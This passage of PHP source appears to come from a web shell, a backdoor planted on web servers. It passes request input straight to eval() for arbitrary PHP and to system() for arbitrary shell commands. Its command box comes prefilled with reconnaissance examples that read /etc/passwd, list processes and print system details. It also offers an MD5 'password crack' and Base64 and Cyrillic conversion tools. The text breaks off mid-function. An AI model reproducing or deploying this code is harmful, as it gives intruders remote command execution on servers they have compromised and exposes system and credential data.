if (!isset($shell)) $skipshell=1;
if (!isset($skipphp)) {
echo "<hr size=1 noshade>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
if ($pre<>'') echo "<pre>";
if ($xmp<>'') echo "<xmp>";
if ($nlbr<>'' || $htmls<>'') {
ob_start();
}
if ($phpeval_access) eval($php);
else die("Sorry, function eval() disabled.");
if ($nlbr<>'' || $htmls<>'') {
$tmp=ob_get_contents();
ob_end_clean();
if ($htmls<>'') $tmp=htmlspecialchars($tmp);
if ($nlbr<>'') $tmp=nl2br($tmp);
echo $tmp;
}
if ($xmp<>'') echo "</xmp>";
if ($pre<>'') echo "</pre>";
echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
echo "</table></table></table></table></table></table></table></table></table></center></table><hr size=1 noshade>";
}
if (!isset($shell)) {
$shell="#".mm("example (remove comments '#')").": \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a";
$skipshell=1;
}
echo "<P><b>".mm("Shell commands")."</b>
<form action=$self method=post>
<input type=hidden name=c value=t>
<textarea name=shell rows=".(!isset($skipshell)?10:4)." cols=60 style='width:100%;'>$shell</textarea><br>
<input type=submit></form>
<P>";
if (!isset($skipshell)) {
echo "<hr size=1 noshade>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<xmp>";
if ($system_access) system($shell);
else die("Sorry, function system() disabled.");
echo "</xmp>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
</table></table></table></table></table></table></table></table></table></center><hr size=1 noshade>";
}
$ttype=array(1=>"MD5",7=>"Decode MD5 (password crack)<br>",
2=>"Base64",3=>"Base64 + chunk",4=>"Base64 + chunk + quotes",
5=>"Decode Base64<br>",
6=>"UnixTime=>Date(".time().")",
8=>"MKtime: YYYY MM DD [hh [mm [ss]]]<br>",
9=>"Translit=>RusText", 14=>"RusText=>Translit<br>",
10=>"cp1251=>koi8r",11=>"koi8r=>cp1251",12=>"cp1251=>mac",13=>"mac=>cp1251",
15=>"koi8r=>mac",16=>"mac=>koi8r",
);
echo "<P><b>".mm("Universal convert")."</b>";
echo "<a name=convert></a><form action='$self#convert' method=post>";
foreach ($ttype as $k=>$v)
echo " <nobr><input ".($k==$name?"checked":"")." type=radio name=name value=$k id=x$k><label for=x$k>$v</label></nobr> ";
echo "
<input type=hidden name=c value=t>
<textarea name=convert rows=".(isset($convert)?10:3)." cols=60 style='width:100%;'>".htmlspecialchars($convert)."</textarea><br>
<input type=submit><br>";
$russtr1="JCUKENGZH_FYVAPROLDESMIT_Bjcukengzh_fyvaproldesmit_b";
$russtr2="ÉÖÓÊÅÍÃÇÕÚÔÛÂÀÏÐÎËÄÝÑÌÈÒÜÁéöóêåíãçõúôûâàïðîëäýñìèòüá";
function from_translit($ss) {
global $russtr1,$russtr2;
$w=array("Sch",'Ù',"SCH",'Ù',"ScH",'Ù',"SCh",'Ù',"sch",'ù',"Jo",'¨',"JO",'¨',"jo",'¸',
"Zh",'Æ',"ZH",'Æ',"zh",'æ',"Ch",'×',"CH",'×',"ch",'÷',"Sh",'Ø',"SH",'Ø',"sh",'ø',
"##",'Ú',"''",'Ü',"Eh",'Ý',"EH",'Ý',"eh",'ý',"Ju",'Þ',"JU",'Þ',"ju",'þ',"Yu",'Þ',
"YU",'Þ',"yu",'þ',"YA","ß","Ya","ß","ya","ÿ","Ja",'ß',"JA",'ß',"ja",'ÿ');
$c=count($w);
for ($i=0; $i<$c; $i+=2) $ss=str_replace($w[$i],$w[$i+1],$ss);
$ss=strtr($ss,$russtr1,$russtr2);
$ss=preg_replace("!([à-ÿ]+)~([à-ÿ]+)!is","\\1\\2",$ss);
return $ss;
}
function to_translit($ss) {
global $russtr1,$russtr2;
$ss=strtr($ss,$russtr2,$russtr1);
$ss=str_replace(
array('Ø', 'Ù', 'Æ', 'ß', '×', 'Þ', '¨', 'ø', 'ù', 'æ', 'ÿ', '÷', 'þ', '¸', ),
array('SH','SCH','ZH','YA','CH','YU','YO','sh','sch','zh','ya','ch','yu','yo',),
$ss);
return $ss;
}
if (isset($convert)) {
if (!isset($name)) $name="0";
$out="";
switch ($name) {